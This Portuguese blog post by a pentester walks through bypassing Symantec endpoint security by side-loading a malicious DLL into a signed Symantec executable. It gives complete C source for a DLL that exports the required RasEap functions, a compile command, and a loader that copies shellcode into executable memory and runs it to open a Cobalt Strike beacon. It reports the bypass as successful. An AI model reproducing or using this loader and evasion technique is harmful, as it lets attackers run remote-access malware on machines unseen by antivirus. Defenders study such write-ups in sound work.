Burlando antivirus com DLL Side-Loading por diversão e vantagem — parte 2: KO

Vinícius K-Max
3 min readDec 6, 2018

--

Alguns meses atrás, escrevi sobre o ataque de DLL Side-Loading, mostrando um exemplo real envolvendo um binário legítimo e digitalmente assinado da Symantec que é capaz de carregar DLLs arbitrárias. O ataque permite enganar antivirus entre outras soluções de segurança. Leia lá, pois esse post é uma continuação.

Hoje, veremos como criar essa exata DLL que exporte as 4 funções exigidas pelo executável da Symantec (nosso loader), de modo que o mesmo não trave e garantindo a execução do nosso código malicioso em uma thread do seu processo. Se tudo der certo, iremos transpassar todas as camadas de proteção do antivirus e conquistar nosso acesso remoto pela conexão reversa de um beacon do Cobalt-Strike.

Ferramentas

  • MS Visual Studio (qualquer versão)
  • Bloco de notas (o mais recente, lol)
  • Cobalt-Strike (o que você conseguir)

Exportando funções e criando nossa DLL

O compilador do Visual Studio permite o uso da palavra-chave __declspec(dllexport) para facilmente exportar funções de uma DLL. Sabendo os nomes das quatro funções chamadas pelo executável que descobrimos como mostrado no post anterior, criamos a seguinte DLL maliciosa com um estupidamente simples código nomeado aqui como RasTls.c:

#include <windows.h>
#pragma comment(lib, "user32")
void __declspec(dllexport) RasEapFreeMemory() { }
void __declspec(dllexport) RasEapGetIdentity() { }
void __declspec(dllexport) RasEapInvokeConfigUI() { }
void __declspec(dllexport) RasEapInvokeInteractiveUI() { }
void __declspec(dllexport) RasEapGetInfo() {
MessageBox(0,"Obrigado, Symantec","Injectado!",1);return;}

Note como escolhemos a primeira das funções chamadas para carregar nosso código, mas poderia ser qualquer outra.

Como bate aquela preguiça de abrir o Visual Studio e criar um projeto pra uma tarefa tão trivial, salvamos com o bloco de notas mesmo e compilamos com o cl.exe:

C:\tools\av-bypass\side-loading>cl.exe user32.lib RasTls.c /DLL /LDMicrosoft (R) 32-bit C/C++ Optimizing Compiler Version 15.00.30729.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
RasTls.c
Microsoft (R) Incremental Linker Version 9.00.30729.01
Copyright (C) Microsoft Corporation. All rights reserved.
/out:RasTls.dll
/dll
/implib:RasTls.lib
user32.lib
RasTls.obj
Creating

Feito. Nossa DLL está pronta pra ser testada. Colocamos ela na mesma pasta do exe da Symantec e o executamos.

Legal.

Com exportação das funções funcionando corretamente, hora de adaptarmos nossa DLL para receber uma shellcode do meterpreter ou beacon do Cobalt-Strike.

#include <windows.h>
#pragma comment(lib, "user32")
DWORD WINAPI DisparaShellcode(LPVOID lpSc)
{
__asm mov eax, [lpSc]
__asm call eax
return 0;
}
void __declspec(dllexport) RasEapFreeMemory() {}
void __declspec(dllexport) RasEapGetIdentity() {}
void __declspec(dllexport) RasEapInvokeConfigUI() {}
void __declspec(dllexport) RasEapInvokeInteractiveUI() {}
void __declspec(dllexport) RasEapGetInfo() {
LPVOID code = NULL;
int pID;
int dwBytesToRead;
unsigned char shellcode[] = "\xe8\xff\..."; //shellcode aquidwBytesToRead = sizeof(shellcode);code = VirtualAlloc(NULL, dwBytesToRead, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(code, 0, dwBytesToRead);
memcpy(code, shellcode, dwBytesToRead);
WaitForSingleObject(CreateThread(NULL, 0, DisparaShellcode, code, 0, &pID), INFINITE);
VirtualFree(code, dwBytesToRead, MEM_RELEASE);
return;
}

Compilamos e copiamos o loader e a DLL pro um sistema com um antivirus da Symantec, este devidamente atualizado e com todas as suas proteções ativas.

Ei, veja! Esse não é um mero antivirus. É uma solução de Endpoint Security, o que significa que engloba três produtos em um: firewall, antivirus e análise avançada contra ameaças desconhecidas.

Será que nosso ataque de DLL Side-Loading usando um executável da Symantec terá alguma chance?

Clicamos no exe e…

Beacon has arrived. Mission accomplished.

KO.

Symantec é tão eficiente que, ao menos nesse caso, não conseguiu perder de si mesmo.

Se a rotina e estratégias de um pentester te interessa, me siga aqui ou no twitter em @viniciuskmax para acompanhar futuras postagens. E precisar, conte com a MIDRI para avaliar a segurança da sua rede, apps ou sistemas.

--

--

Vinícius K-Max

Desde 1999 consagrando o tempo e o estudo necessário para obter o domínio da arte do Pentesting. Analista de cibersegurança e pentester na MIDRI.com.br